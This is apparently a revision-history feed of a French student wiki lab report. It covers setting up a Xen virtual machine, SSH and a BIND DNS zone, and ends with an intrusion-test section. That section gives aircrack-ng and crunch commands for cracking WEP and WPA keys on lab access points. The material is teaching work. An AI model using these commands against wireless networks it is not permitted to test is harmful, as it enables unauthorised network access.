                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
 ns1     IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
Puis on execute &lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
On obtient : &lt;br /&gt;
 Dec 13 10:30:14 Corona named[3027]: client @0x7f684c01f298 89.149.202.122#443 (sl): query (cache) 'sl/ANY/IN' denied&lt;br /&gt;
Normalement, on s'attend pas à ça, mais bon, dans la vie on a pas toujours ce que l'on veut alors on s'en contentera.&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56993</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56993"/>
				<updated>2021-12-13T15:28:18Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Déploiement site */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
 ns1     IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
Puis on execute &lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
On obtient : &lt;br /&gt;
 Dec 13 10:30:14 Corona named[3027]: client @0x7f684c01f298 89.149.202.122#443 (sl): query (cache) 'sl/ANY/IN' denied&lt;br /&gt;
Normalement, on s'attend pas à ça, mais bon, dans la vie on a pas toujours ce que l'on veut alors on s'en contentera.&lt;br /&gt;
&lt;br /&gt;
#Certificat SSL&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56970</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56970"/>
				<updated>2021-12-13T15:00:09Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Creation de la machine virtuelle */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte avec :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
 ns1     IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56962</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56962"/>
				<updated>2021-12-13T14:54:42Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Déploiement site */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
